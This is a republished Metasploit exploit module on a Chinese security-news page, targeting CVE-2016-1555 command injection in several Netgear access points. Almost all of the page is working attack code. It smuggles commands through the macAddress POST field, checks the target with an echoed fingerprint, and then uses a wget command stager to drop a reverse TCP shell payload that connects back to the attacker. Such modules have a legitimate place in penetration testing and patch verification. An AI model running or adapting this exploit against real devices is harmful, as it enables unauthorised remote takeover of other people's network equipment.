首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Netgear Unauthenticated Remote Command Execution
来源:metasploit.com 作者:Dawoodjee 发布时间:2018-11-27  
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Netgear Devices Unauthenticated Remote Command Execution',
      'Description' => %q{
        From the CVE-2016-1555 page: (1) boardData102.php, (2) boardData103.php,
        (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in
        Netgear WN604 before 3.3.3 and WN802Tv2, WNAP210v2, WNAP320, WNDAP350,
        WNDAP360, and WNDAP660 before 3.5.5.0 allow remote attackers to execute
        arbitrary commands.
      },
      'Author'      =>
        [
          'Daming Dominic Chen <ddchen[at]cs.cmu.edu>', # Vuln discovery
          'Imran Dawoodjee <imrandawoodjee.infosec[at]gmail.com>' # MSF module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['CVE', '2016-1555'],
          ['URL', 'https://kb.netgear.com/30480/CVE-2016-1555-Notification?cid=wmt_netgear_organic'],
          ['PACKETSTORM', '135956'],
          ['URL', 'http://seclists.org/fulldisclosure/2016/Feb/112']
        ],
      'DisclosureDate' => 'Feb 25 2016', # According to http://seclists.org/fulldisclosure/2016/Feb/112
      'Privileged'     => true,
      'Platform'       => 'linux',
      'Arch'           => ARCH_MIPSBE,
      'Payload'        => {},
      'DefaultOptions' => {
        'CMDSTAGER::FLAVOR' => 'wget',
        'PAYLOAD'           => 'linux/mipsbe/shell_reverse_tcp',
        'WfsDelay'          => 10 },
      'Targets'        => [['Automatic', { }]],
      'CmdStagerFlavor'=> %w{ echo printf wget },
      'DefaultTarget'  => 0
      ))
      register_options(
      [
        OptString.new('TARGETURI', [true, 'Path of the vulnerable URI.', '/boardDataWW.php']), # boardDataWW.php
        OptString.new('MAC_ADDRESS', [true, 'MAC address to use (default: random)', Rex::Text.rand_text_hex(12)])
      ])
  end

  # check for vulnerability existence
  def check
    fingerprint = Rex::Text.rand_text_alpha(12) # If vulnerability is present, we will get this back in the response
    res = execute_command("echo #{fingerprint}") # the raw POST response

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.code == 200
      return CheckCode::Safe
    end

    unless res.get_html_document.at('input').to_s.include? fingerprint
      return CheckCode::Safe
    end

    CheckCode::Vulnerable
  end

  # execute a command, or simply send a POST request
  def execute_command(cmd, opts = {})
    vars_post = {
      'macAddress' => "#{datastore['MAC_ADDRESS']};#{cmd};",
      'reginfo' => '1',
      'writeData' => 'Submit'
    }

    send_request_cgi({
      'method'  => 'POST',
      'headers' => { 'Connection' => 'Keep-Alive' },
      'uri'     => normalize_uri(target_uri.path),
      'vars_post' => vars_post
    })
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the target!")
  end

  # the exploit method
  def exploit
    #run a check before attempting to exploit
    unless [CheckCode::Vulnerable].include? check
      fail_with Failure::NotVulnerable, 'Target is most likely not vulnerable!'
    end

    execute_cmdstager(linemax: 2048) # maximum 130,000
  end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Arm Whois 3.11 - Buffer Overfl
·Cisco WebEx Meetings Privilege
·ELBA5 5.8.0 - Remote Code Exec
·TeamCity Agent XML-RPC Command
·MariaDB Client 10.1.26 - Denia
·Mac OS X libxpc MITM Privilege
·Xorg X11 Server SUID Privilege
·Linux Nested User Namespace id
·macOS 10.13 - 'workq_kernretur
·PHP imap_open Remote Code Exec
·ImageMagick - Memory Leak
·Unitrends Enterprise Backup bp
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved